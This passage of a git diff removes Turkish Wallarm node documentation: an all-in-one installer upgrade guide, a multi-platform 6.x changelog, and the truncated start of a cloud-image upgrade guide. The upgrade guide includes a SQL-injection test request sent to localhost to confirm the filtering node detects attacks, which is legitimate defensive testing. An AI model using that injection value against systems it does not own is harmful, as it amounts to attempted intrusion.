"../include/waf/installation/all-in-one-upgrade-requirements.md" - -## Yükseltme prosedürü - -* Filtreleme düğümü ve postanalytics modülleri aynı sunucuda yüklüyse, tümünü yükseltmek için aşağıdaki talimatları izleyin. - - Yeni bir makinede tümü bir arada yükleyici ile daha yeni sürüm bir düğüm çalıştırmanız, düzgün çalıştığını test etmeniz ve önceki düğümü durdurup trafiği eski makine yerine yeni makine üzerinden akacak şekilde yapılandırmanız gerekecektir. - -* Filtreleme düğümü ve postanalytics modülleri farklı sunucularda yüklüyse, [bu talimatları](../updating-migrating/separate-postanalytics.md) izleyerek önce postanalytics modülünü, ardından filtreleme modülünü yükseltin. - -## Adım 1: Temiz makine hazırlayın - ---8<-- "../include/waf/installation/all-in-one-clean-machine-latest.md" - -## Adım 2: En güncel NGINX’i ve bağımlılıkları kurun - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -## Adım 3: Wallarm belirteci hazırlayın - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## Adım 4: Tümü bir arada Wallarm yükleyicisini indirin - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## Adım 5: Tümü bir arada Wallarm yükleyicisini çalıştırın - -### Filtreleme düğümü ve postanalytics aynı sunucuda - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -### Filtreleme düğümü ve postanalytics farklı sunucularda - -!!! warning "Filtreleme düğümü ve postanalytics modüllerini yükseltme adımlarının sırası" - Filtreleme düğümü ve postanalytics modülleri farklı sunuculara kurulmuşsa, filtreleme düğümü paketlerini güncellemeden önce postanalytics paketlerini yükseltmek gereklidir. - -1. Postanalytics modülünü şu [talimatları](separate-postanalytics.md) izleyerek yükseltin. -1. Filtreleme düğümünü yükseltin: - - === "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.x86_64-glibc.sh filtering - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.aarch64-glibc.sh filtering - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI içinde düğümlerin mantıksal gruplandırılması için kullanılır). - - === "Node belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.x86_64-glibc.sh filtering - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.aarch64-glibc.sh filtering - ``` - -## Adım 6: Eski düğüm makinesinden yeniye NGINX ve postanalytics yapılandırmasını aktarın - -Gerekli yönergeleri veya dosyaları kopyalayarak düğümle ilgili NGINX ve postanalytics yapılandırmalarını eski makineden yeniye taşıyın: - -* `/etc/nginx/conf.d/default.conf` veya `http` seviyesi için NGINX ayarlarının bulunduğu `/etc/nginx/nginx.conf` - - Filtreleme ve postanalytics düğümleri farklı sunuculardaysa, filtreleme düğümü makinesindeki `/etc/nginx/nginx.conf` dosyasının `http` bloğunda `wallarm_tarantool_upstream` adını [`wallarm_wstore_upstream`](../admin-en/configure-parameters-en.md#wallarm_wstore_upstream) olarak değiştirin. -* Trafik yönlendirme için NGINX ve Wallarm ayarlarını içeren `/etc/nginx/sites-available/default` -* `/etc/nginx/conf.d/wallarm-status.conf` → yeni makinede `/etc/nginx/wallarm-status.conf` konumuna kopyalayın - - Ayrıntılı açıklama [bağlantıda][wallarm-status-instr] mevcuttur. -* `/etc/wallarm/node.yaml` → yeni makinede `/opt/wallarm/etc/wallarm/node.yaml` konumuna kopyalayın - - Ayrı postanalytics sunucusunda özel host ve port kullanıyorsanız, kopyalanan dosyada postanalytics düğümü makinesinde `tarantool` bölümünün adını `wstore` olarak değiştirin. - -## Adım 7: NGINX’i yeniden başlatın - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -## Adım 8: Wallarm düğümü çalışmasını test edin - -Yeni düğümün çalışmasını test etmek için: - -1. Korunan kaynak adresine test [SQLI][sqli-attack-docs] ve [XSS][xss-attack-docs] saldırıları içeren isteği gönderin: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` - -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içinde açın ve saldırıların listede görüntülendiğinden emin olun. -1. Cloud’da saklanan verileriniz (kurallar, IP lists) yeni düğümle senkronize edildiğinde, kurallarınızın beklendiği gibi çalıştığından emin olmak için bazı test saldırıları gerçekleştirin. - -## Adım 9: Trafiği Wallarm düğümüne göndermeyi yapılandırın - -Yük dengeleyicinizin hedeflerini Wallarm örneğine trafik gönderecek şekilde güncelleyin. Ayrıntılar için lütfen yük dengeleyicinizin belgelerine bakın. - -Tüm trafiği yeni düğüme yönlendirmeden önce, öncelikle kısmi yönlendirme yapmanız ve yeni düğümün beklenildiği gibi davrandığını kontrol etmeniz önerilir. - -## Adım 10: Eski düğümü kaldırın - -1. Wallarm Console → **Nodes** içinde eski düğümü seçip **Delete**’e tıklayarak silin. -1. İşlemi onaylayın. - - Düğüm Cloud’dan silindiğinde, uygulamalarınıza gelen isteklerin filtrelenmesini durduracaktır. Filtreleme düğümünü silme işlemi geri alınamaz. Düğüm, düğümler listesinden kalıcı olarak kaldırılacaktır. - -1. Eski düğümlü makineyi silin veya sadece Wallarm düğüm bileşenlerinden temizleyin: - - === "Debian" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "CentOS or Amazon Linux 2.0.2021x and lower" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/node-artifact-versions.md b/docs/latest-tr/updating-migrating/node-artifact-versions.md deleted file mode 100644 index a353ad6ee2..0000000000 --- a/docs/latest-tr/updating-migrating/node-artifact-versions.md +++ /dev/null @@ -1,356 +0,0 @@ -# NGINX Node Sürümleri ve Değişiklik Günlüğü - -Bu belge, [NGINX Wallarm Node](../installation/nginx-native-node-internals.md#nginx-node) 6.x’in çeşitli biçimlerde mevcut [sürümlerini](versioning-policy.md) listeler; sürümleri takip etmenize ve yükseltmeleri planlamanıza yardımcı olur. - -## Hepsi-bir-arada yükleyici - -Sürüm 4.10’dan itibaren Wallarm node’larının kurulumu ve yükseltilmesi **yalnızca** [hepsi-bir-arada yükleyici](../installation/nginx/all-in-one.md) ile gerçekleştirilir. Tekil Linux paketleriyle manuel yükseltme artık desteklenmemektedir. - -Hepsi-bir-arada yükleyici güncellemelerinin geçmişi, x86_64 ve ARM64 sürümleri için eşzamanlı olarak geçerlidir. - -[DEB/RPM paketlerinden nasıl geçilir](nginx-modules.md) - -[Önceki hepsi-bir-arada yükleyici sürümünden nasıl geçilir](all-in-one.md) - - - -### 6.5.1 (2025-09-09) - -* [API Specification Enforcement](../api-specification-enforcement/overview.md) içinde içerik türü doğrulaması gevşetildi: resim MIME türlerine (`image/png`, `image/jpeg`, `image/gif`, `image/webp`, `image/avif`, `image/heic`, `image/heif`, `image/bmp`, `image/tiff`, `image/svg+xml`) sahip istekler artık reddedilmiyor -* Go sürümü 1.24’e yükseltildi -* Kısıtlama sona erdikten sonra normal duruma (`0`) dönmeyen `wallarm_wstore_throttle_mode` Prometheus metriğinin davranışı düzeltildi - -### 6.4.1 (2025-08-07) - -* API Specification Enforcement servis çalışması (yerleşik API Firewall servisine dayalı) için Prometheus metrik desteği eklendi: - - * `/opt/wallarm/env.list` içinde `APIFW_METRICS_ENABLED=true` ile etkinleştirin - * Varsayılan uç nokta: `:9010/metrics` - * Ana makine ve uç nokta adı `APIFW_METRICS_HOST` ve `APIFW_METRICS_ENDPOINT_NAME` değişkenleri ile yapılandırılabilir - -### 6.4.0 (2025-07-31) - -* Cloud’a stuffed credentials dışa aktarımı düzeltildi -* GraphQL ayrıştırıcı iyileştirildi -* Hata düzeltmeleri ve dahili iyileştirmeler - -### 6.3.1 (2025-07-23) - -* Bellek sızıntısı düzeltildi - -### 6.3.0 (2025-07-08) - -* [Dosya yükleme kısıtlama politikası](../api-protection/file-upload-restriction.md) desteği eklendi -* [API Abuse Prevention](../api-abuse-prevention/overview.md) tarafından [unrestricted resource consumption](../attacks-vulns-list.md#unrestricted-resource-consumption) hafifletme desteği eklendi -* Kurallarda, URI, ad alanı ve etiket adını birleştiren [**xml_tag**](../user-guides/rules/request-processing.md#xml) değerlerinde kullanılan ayraç `:` yerine `|` olarak değiştirildi -* Dahili iyileştirmeler - - -### 6.2.1 (2025-06-23) - -* Küçük dahili dosya yapısı değişikliği - -### 6.2.0 (2025-06-20) - -* gRPC trafiği için akış işleme optimize edildi -* İşlenen gRPC/WebSocket akış ve mesaj sayısını raporlamak için [`/wallarm-status` servisi](../admin-en/configure-statistics-service.md) çıktısına `streams` ve `messages` parametreleri eklendi -* NGINX-Wallarm modülü ile postanalytics modülü ayrı kurulduğunda aralarında [SSL/TLS ve mTLS](../admin-en/installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module) desteği eklendi -* wstore port bağlama düzeltildi: artık `0.0.0.0` yerine `127.0.0.1`’e bağlanıyor -* Küçük hata düzeltmeleri - -### 6.1.0 (2025-05-09) - -* [**enumeration**](../api-protection/enumeration-attack-protection.md) azaltma kontrolleri için destek eklendi -* [**DoS koruması**](../api-protection/dos-protection.md) azaltma kontrolü için destek eklendi -* Hata düzeltmesi: Allowlist’e alınmış kaynaklardan gelen saldırılar artık **Attacks** bölümünde gösterilmiyor -* Daha kolay tanımlama için wstore günlükleri artık `"component": "wstore"` içeriyor - -### 6.0.3 (2025-05-07) - -* Amazon Linux 2 desteği eklendi -* Özel NGINX ile kurulum sorunları düzeltildi - -### 6.0.2 (2025-04-29) - -* NGINX stable 1.28.0 desteği eklendi -* NGINX mainline 1.27.5 desteği eklendi - -### 6.0.1 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406), [CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115) güvenlik açıkları düzeltildi - -### 6.0.0 (2025-04-03) - -* İlk 6.0 sürümü, [değişiklik günlüğüne bakın](what-is-new.md) - -## Wallarm NGINX Ingress controller için Helm chart’ı - -[Nasıl yükseltilir](ingress-controller.md) - -### 6.5.1 (2025-09-09) - -* API Specification Enforcement servis çalışması (yerleşik API Firewall servisine dayalı) için Prometheus metrik desteği eklendi - - Metrikler varsayılan olarak devre dışıdır ve yeni [`controller.wallarm.apiFirewall.metrics.*`](../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewallmetrics) değerleri aracılığıyla etkinleştirilebilir. -* [API Specification Enforcement](../api-specification-enforcement/overview.md) içinde içerik türü doğrulaması gevşetildi: resim MIME türlerine (`image/png`, `image/jpeg`, `image/gif`, `image/webp`, `image/avif`, `image/heic`, `image/heif`, `image/bmp`, `image/tiff`, `image/svg+xml`) sahip istekler artık reddedilmiyor -* Go sürümü 1.24’e yükseltildi -* Kısıtlama sona erdikten sonra normal duruma (`0`) dönmeyen `wallarm_wstore_throttle_mode` Prometheus metriğinin davranışı düzeltildi -* Community Ingress NGINX Controller sürümü 1.11.8’e yükseltildi; upstream Helm chart sürümü 4.11.8 ve Alpine sürümü 3.22.0 ile hizalandı -* Upstream yükseltme sayesinde [CVE-2025-5399](https://nvd.nist.gov/vuln/detail/CVE-2025-5399) ve [CVE-2025-22872](https://nvd.nist.gov/vuln/detail/CVE-2025-22872) güvenlik açıkları giderildi - -### 6.4.0 (2025-07-31) - -* Cloud’a stuffed credentials dışa aktarımı düzeltildi -* GraphQL ayrıştırıcı iyileştirildi -* Hata düzeltmeleri ve dahili iyileştirmeler - -### 6.3.1 (2025-07-23) - -* Bellek sızıntısı düzeltildi - -### 6.3.0 (2025-07-08) - -* [Dosya yükleme kısıtlama politikası](../api-protection/file-upload-restriction.md) desteği eklendi -* [API Abuse Prevention](../api-abuse-prevention/overview.md) tarafından [unrestricted resource consumption](../attacks-vulns-list.md#unrestricted-resource-consumption) hafifletme desteği eklendi -* Tehlikeli `server-snippet` ve `configuration-snippet` annotasyonlarını engelleyen CEL kuralını açıp kapatmak için [`validation.forbidDangerousAnnotations`](../admin-en/configure-kubernetes-en.md#validationforbiddangerousannotations) chart değeri eklendi - - Varsayılan olarak `false` - tehlikeli annotasyonlar engellenmez. - - Node 6.2.0’daki davranış - değişmedi ( `validation.enableCel` `true` iken anotasyonlar varsayılan olarak engellenir). -* Gelen **wstore** bağlantıları için adres ve portu özelleştirmek üzere [`controller.wallarm.postanalytics.serviceAddress`](../admin-en/configure-kubernetes-en.md#controllerwallarmpostanalyticsserviceaddress) parametresi desteği eklendi -* Kurallarda, URI, ad alanı ve etiket adını birleştiren [**xml_tag**](../user-guides/rules/request-processing.md#xml) değerlerinde kullanılan ayraç `:` yerine `|` olarak değiştirildi -* Dahili iyileştirmeler - -### 6.2.0 (2025-06-20) - -* gRPC trafiği için akış işleme optimize edildi -* İşlenen gRPC/WebSocket akış ve mesaj sayısını raporlamak için [`/wallarm-status` servisi](../admin-en/configure-statistics-service.md) çıktısına `streams` ve `messages` parametreleri eklendi -* Filtering Node ile postanalytics modülü arasında [SSL/TLS ve mTLS](../admin-en/configure-kubernetes-en.md#controllerwallarmpostanalyticstls) desteği eklendi -* `values.yaml` içindeki birleşik `controller.wallarm.wcli` bileşeni, kapsayıcılar üzerinde ayrıntılı kontrol sağlamak için 2 ayrı [yapılandırılabilir birime](../admin-en/configure-kubernetes-en.md) bölündü: `wcliController` ve `wcliPostanalytics` -* Küçük hata düzeltmeleri - -### 6.1.0 (2025-05-09) - -* Hata düzeltmesi: Allowlist’e alınmış kaynaklardan gelen saldırılar artık **Attacks** bölümünde gösterilmiyor -* Daha kolay tanımlama için wstore günlükleri artık `"component": "wstore"` içeriyor - -### 6.0.2 (2025-04-25) - -* Ingress kaynaklarının Validating Admission Policies üzerinden doğrulanmasını etkinleştirmek için [`validation.enableCel`](../admin-en/configure-kubernetes-en.md#validationenablecel) parametresi eklendi - -### 6.0.1 (2025-04-22) - -* [CVE-2025-22871](https://nvd.nist.gov/vuln/detail/CVE-2025-22871) güvenlik açığı düzeltildi - -### 6.0.0 (2025-04-03) - -* İlk 6.0 sürümü, [değişiklik günlüğüne bakın](what-is-new.md) - -## Sidecar için Helm chart’ı - -[Nasıl yükseltilir](sidecar-proxy.md) - -### 6.5.1 (2025-09-09) - -* API Specification Enforcement servis çalışması (yerleşik API Firewall servisine dayalı) için Prometheus metrik desteği eklendi - - Metrikler varsayılan olarak devre dışıdır ve yeni [`config.wallarm.apiFirewall.metrics.*`](../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md) değerleri aracılığıyla etkinleştirilebilir. -* [API Specification Enforcement](../api-specification-enforcement/overview.md) içinde içerik türü doğrulaması gevşetildi: resim MIME türlerine (`image/png`, `image/jpeg`, `image/gif`, `image/webp`, `image/avif`, `image/heic`, `image/heif`, `image/bmp`, `image/tiff`, `image/svg+xml`) sahip istekler artık reddedilmiyor -* Go sürümü 1.24’e yükseltildi -* Kısıtlama sona erdikten sonra normal duruma (`0`) dönmeyen `wallarm_wstore_throttle_mode` Prometheus metriğinin davranışı düzeltildi - -### 6.4.0 (2025-07-31) - -* Cloud’a stuffed credentials dışa aktarımı düzeltildi -* GraphQL ayrıştırıcı iyileştirildi -* Hata düzeltmeleri ve dahili iyileştirmeler - -### 6.3.1 (2025-07-23) - -* Bellek sızıntısı düzeltildi - -### 6.3.0 (2025-07-08) - -* [Dosya yükleme kısıtlama politikası](../api-protection/file-upload-restriction.md) desteği eklendi -* [API Abuse Prevention](../api-abuse-prevention/overview.md) tarafından [unrestricted resource consumption](../attacks-vulns-list.md#unrestricted-resource-consumption) hafifletme desteği eklendi -* Gelen **wstore** bağlantıları için adres ve portu özelleştirmek üzere [`postanalytics.wstore.config.serviceAddress`](../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md#postanalyticswstoreconfigserviceaddress) parametresi desteği eklendi -* Kurallarda, URI, ad alanı ve etiket adını birleştiren [**xml_tag**](../user-guides/rules/request-processing.md#xml) değerlerinde kullanılan ayraç `:` yerine `|` olarak değiştirildi -* Dahili iyileştirmeler - -### 6.2.0 (2025-06-20) - -* gRPC trafiği için akış işleme optimize edildi -* Filtering Node ile postanalytics modülü arasında [SSL/TLS ve mTLS](../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md#postanalyticswstoretls) desteği eklendi -* Alpine sürümü 3.22’ye yükseltildi -* NGINX 1.28.0 sürümüne yükseltildi -* Küçük hata düzeltmeleri - -### 6.1.0 (2025-05-09) - -* Hata düzeltmesi: Allowlist’e alınmış kaynaklardan gelen saldırılar artık **Attacks** bölümünde gösterilmiyor -* Daha kolay tanımlama için wstore günlükleri artık `"component": "wstore"` içeriyor - -### 6.0.1 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406), [CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115) güvenlik açıkları düzeltildi - -### 6.0.0 (2025-04-03) - -* İlk 6.0 sürümü, [değişiklik günlüğüne bakın](what-is-new.md) - -## NGINX tabanlı Docker imajı - -[Nasıl yükseltilir](docker-container.md) - -### 6.5.1 (2025-09-09) - -* [API Specification Enforcement](../api-specification-enforcement/overview.md) içinde içerik türü doğrulaması gevşetildi: resim MIME türlerine (`image/png`, `image/jpeg`, `image/gif`, `image/webp`, `image/avif`, `image/heic`, `image/heif`, `image/bmp`, `image/tiff`, `image/svg+xml`) sahip istekler artık reddedilmiyor -* Go sürümü 1.24’e yükseltildi -* Kısıtlama sona erdikten sonra normal duruma (`0`) dönmeyen `wallarm_wstore_throttle_mode` Prometheus metriğinin davranışı düzeltildi - -### 6.4.1 (2025-08-07) - -* API Specification Enforcement servis çalışması (yerleşik API Firewall servisine dayalı) için Prometheus metrik desteği eklendi: - - * `APIFW_METRICS_ENABLED=true` ortam değişkeni ile etkinleştirin - * Varsayılan uç nokta: `:9010/metrics` - * Kapsayıcınızda metrikler portunu dışa açın (örn. varsayılan durum için `-p 9010:9010` kullanın) - * Ana makine ve uç nokta adı `APIFW_METRICS_HOST` ve `APIFW_METRICS_ENDPOINT_NAME` değişkenleri ile yapılandırılabilir - -### 6.4.0 (2025-07-31) - -* Cloud’a stuffed credentials dışa aktarımı düzeltildi -* GraphQL ayrıştırıcı iyileştirildi -* Hata düzeltmeleri ve dahili iyileştirmeler - -### 6.3.1 (2025-07-23) - -* Bellek sızıntısı düzeltildi - -### 6.3.0 (2025-07-08) - -* [Dosya yükleme kısıtlama politikası](../api-protection/file-upload-restriction.md) desteği eklendi -* [API Abuse Prevention](../api-abuse-prevention/overview.md) tarafından [unrestricted resource consumption](../attacks-vulns-list.md#unrestricted-resource-consumption) hafifletme desteği eklendi -* Kurallarda, URI, ad alanı ve etiket adını birleştiren [**xml_tag**](../user-guides/rules/request-processing.md#xml) değerlerinde kullanılan ayraç `:` yerine `|` olarak değiştirildi -* Dahili iyileştirmeler - -### 6.2.0 (2025-06-20) - -* gRPC trafiği için akış işleme optimize edildi -* İşlenen gRPC/WebSocket akış ve mesaj sayısını raporlamak için [`/wallarm-status` servisi](../admin-en/configure-statistics-service.md) çıktısına `streams` ve `messages` parametreleri eklendi -* NGINX-Wallarm modülü ile postanalytics modülü ayrı kurulduğunda aralarında [SSL/TLS ve mTLS](../admin-en/installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module) desteği eklendi -* wstore port bağlama düzeltildi: artık `0.0.0.0` yerine `127.0.0.1`’e bağlanıyor -* Alpine sürümü 3.22’ye yükseltildi -* NGINX 1.28.0 sürümüne yükseltildi -* Küçük hata düzeltmeleri - -### 6.1.0 (2025-05-09) - -* Hata düzeltmesi: Allowlist’e alınmış kaynaklardan gelen saldırılar artık **Attacks** bölümünde gösterilmiyor -* Daha kolay tanımlama için wstore günlükleri artık `"component": "wstore"` içeriyor - -### 6.0.1 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406), [CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115) güvenlik açıkları düzeltildi - -### 6.0.0 (2025-04-03) - -* İlk 6.0 sürümü, [değişiklik günlüğüne bakın](what-is-new.md) - -## Amazon Machine Image (AMI) - -[Nasıl yükseltilir](cloud-image.md) - -### 6.5.1 (2025-09-09) - -* [API Specification Enforcement](../api-specification-enforcement/overview.md) içinde içerik türü doğrulaması gevşetildi: resim MIME türlerine (`image/png`, `image/jpeg`, `image/gif`, `image/webp`, `image/avif`, `image/heic`, `image/heif`, `image/bmp`, `image/tiff`, `image/svg+xml`) sahip istekler artık reddedilmiyor -* Go sürümü 1.24’e yükseltildi -* Kısıtlama sona erdikten sonra normal duruma (`0`) dönmeyen `wallarm_wstore_throttle_mode` Prometheus metriğinin davranışı düzeltildi - -### 6.4.0 (2025-07-31) - -* Cloud’a stuffed credentials dışa aktarımı düzeltildi -* GraphQL ayrıştırıcı iyileştirildi -* Hata düzeltmeleri ve dahili iyileştirmeler - -### 6.3.1 (2025-07-23) - -* Bellek sızıntısı düzeltildi - -### 6.3.0 (2025-07-08) - -* [Dosya yükleme kısıtlama politikası](../api-protection/file-upload-restriction.md) desteği eklendi -* [API Abuse Prevention](../api-abuse-prevention/overview.md) tarafından [unrestricted resource consumption](../attacks-vulns-list.md#unrestricted-resource-consumption) hafifletme desteği eklendi -* Kurallarda, URI, ad alanı ve etiket adını birleştiren [**xml_tag**](../user-guides/rules/request-processing.md#xml) değerlerinde kullanılan ayraç `:` yerine `|` olarak değiştirildi -* Dahili iyileştirmeler - -### 6.2.0 (2025-06-20) - -* gRPC trafiği için akış işleme optimize edildi -* İşlenen gRPC/WebSocket akış ve mesaj sayısını raporlamak için [`/wallarm-status` servisi](../admin-en/configure-statistics-service.md) çıktısına `streams` ve `messages` parametreleri eklendi -* NGINX-Wallarm modülü ile postanalytics modülü ayrı kurulduğunda aralarında [SSL/TLS ve mTLS](../admin-en/installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module) desteği eklendi -* wstore port bağlama düzeltildi: artık `0.0.0.0` yerine `127.0.0.1`’e bağlanıyor -* Küçük hata düzeltmeleri - -### 6.1.0 (2025-05-09) - -* Hata düzeltmesi: Allowlist’e alınmış kaynaklardan gelen saldırılar artık **Attacks** bölümünde gösterilmiyor -* Daha kolay tanımlama için wstore günlükleri artık `"component": "wstore"` içeriyor - -### 6.0.1 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406), [CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115) güvenlik açıkları düzeltildi - -### 6.0.0 (2025-04-03) - -* İlk 6.0 sürümü, [değişiklik günlüğüne bakın](what-is-new.md) - -## Google Cloud Platform İmajı - -[Nasıl yükseltilir](cloud-image.md) - -### wallarm-node-6-5-1-20250908-174655 (2025-09-09) - -* [API Specification Enforcement](../api-specification-enforcement/overview.md) içinde içerik türü doğrulaması gevşetildi: resim MIME türlerine (`image/png`, `image/jpeg`, `image/gif`, `image/webp`, `image/avif`, `image/heic`, `image/heif`, `image/bmp`, `image/tiff`, `image/svg+xml`) sahip istekler artık reddedilmiyor -* Go sürümü 1.24’e yükseltildi -* Kısıtlama sona erdikten sonra normal duruma (`0`) dönmeyen `wallarm_wstore_throttle_mode` Prometheus metriğinin davranışı düzeltildi - -### wallarm-node-6-4-0-20250730-083353 (2025-07-31) - -* Cloud’a stuffed credentials dışa aktarımı düzeltildi -* GraphQL ayrıştırıcı iyileştirildi -* Hata düzeltmeleri ve dahili iyileştirmeler - -### wallarm-node-6-3-1-20250721-082413 (2025-07-23) - -* Bellek sızıntısı düzeltildi - -### wallarm-node-6-3-0-20250708-175541 (2025-07-08) - -* Kurallarda, URI, ad alanı ve etiket adını birleştiren [**xml_tag**](../user-guides/rules/request-processing.md#xml) değerlerinde kullanılan ayraç `:` yerine `|` olarak değiştirildi -* Dahili iyileştirmeler - -### wallarm-node-6-2-0-20250618-150224 (2025-06-20) - -* gRPC trafiği için akış işleme optimize edildi -* İşlenen gRPC/WebSocket akış ve mesaj sayısını raporlamak için [`/wallarm-status` servisi](../admin-en/configure-statistics-service.md) çıktısına `streams` ve `messages` parametreleri eklendi -* NGINX-Wallarm modülü ile postanalytics modülü ayrı kurulduğunda aralarında [SSL/TLS ve mTLS](../admin-en/installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module) desteği eklendi -* wstore port bağlama düzeltildi: artık `127.0.0.1`’e bağlanıyor, `0.0.0.0` değil -* Küçük hata düzeltmeleri - -### wallarm-node-6-1-0-20250508-144827 (2025-05-09) - -* Hata düzeltmesi: Allowlist’e alınmış kaynaklardan gelen saldırılar artık **Attacks** bölümünde gösterilmiyor -* Daha kolay tanımlama için wstore günlükleri artık `"component": "wstore"` içeriyor - -### wallarm-node-6-0-1-20250422-104749 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406), [CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115) güvenlik açıkları düzeltildi - -### wallarm-node-6-0-0-20250403-102125 (2025-04-03) - -* İlk 6.0 sürümü, [değişiklik günlüğüne bakın](what-is-new.md) \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/older-versions/cloud-image.md b/docs/latest-tr/updating-migrating/older-versions/cloud-image.md deleted file mode 100644 index 01ceb47303..0000000000 --- a/docs/latest-tr/updating-migrating/older-versions/cloud-image.md +++ /dev/null @@ -1,135 +0,0 @@ -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-memory-for-waf-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md -[link-cloud-connect-guide]: ../../installation/inline/compute-instances/aws/aws-ami.md#4-connect-the-instance-to-the-wallarm-cloud - -# EOL bulut düğüm imajını yükseltme - -Bu talimatlar, AWS veya GCP üzerinde dağıtılmış olan ömür sonu (EOL) bulut düğüm imajının (sürüm 3.6 ve altı) 6.x’e yükseltilmesi adımlarını açıklar. - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## Gereksinimler - ---8<-- "../include/waf/installation/basic-reqs-for-upgrades.md" - -## Adım 1: Filtreleme düğümü modüllerini yükselttiğinizi Wallarm teknik desteğine bildirin (yalnızca 2.18 veya altı düğüm yükseltiliyorsa) - -Eğer 2.18 veya altı bir düğümü yükseltiyorsanız, lütfen filtreleme düğümü modüllerini en son sürüme yükselttiğinizi [Wallarm teknik desteğine](mailto:support@wallarm.com) bildirin ve Wallarm hesabınız için yeni IP listesi mantığının etkinleştirilmesini isteyin. Yeni IP listesi mantığı etkinleştirildiğinde, Wallarm Console’daki [**IP lists**](../../user-guides/ip-lists/overview.md) bölümünün ulaşılabilir olduğundan emin olun. - -## Adım 2: Threat Replay Testing modülünü devre dışı bırakın (yalnızca 2.16 veya altı düğüm yükseltiliyorsa) - -Eğer 2.16 veya altı Wallarm düğümünü yükseltiyorsanız, Wallarm Console → **Vulnerabilities** → **Configure** altında [Threat Replay Testing](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing) modülünü devre dışı bırakın. - -Modülün çalışması yükseltme sürecinde [yanlış pozitiflere](../../about-wallarm/protecting-against-attacks.md#false-positives) neden olabilir. Modülü devre dışı bırakmak bu riski en aza indirir. - -## Adım 3: API portunu güncelleyin - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## Adım 4: Son dönemdeki mimari güncellemeleri gözden geçirin - -En son güncelleme, özellikle düğümün varsayılan yapılandırma dosyalarını değiştiren kullanıcıları etkileyebilecek [mimari değişiklikler](what-is-new.md#optimized-cloud-images) getirdi. Yeni imajın doğru şekilde yapılandırılması ve kullanımı için lütfen bu değişiklikleri inceleyin. - -## Adım 5: 6.x filtreleme düğümüyle yeni bir örnek başlatın - -Önceki Wallarm düğüm sürümünün aşağıdaki yapılandırma dosyalarından istek işleme ve proxy ayarlarını 6.x filtreleme düğümünün dosyalarına kopyalayın: - -1. Bulut platformu pazar yerinde Wallarm filtreleme düğümü imajını açın ve imajı başlatma adımına ilerleyin: - * [Amazon Marketplace](https://aws.amazon.com/marketplace/pp/B073VRFXSD) - * [GCP Marketplace](https://console.cloud.google.com/marketplace/details/wallarm-node-195710/wallarm-node) -2. Başlatma adımında aşağıdaki ayarları yapın: - - * İmaj sürümü olarak `6.x` seçin - * AWS için, **Security Group Settings** alanında oluşturduğunuz güvenlik grubunu seçin - * AWS için, **Key Pair Settings** alanında oluşturduğunuz anahtar çifti adını seçin -3. Örneğin başlatılmasını onaylayın. -4. GCP için, örneği 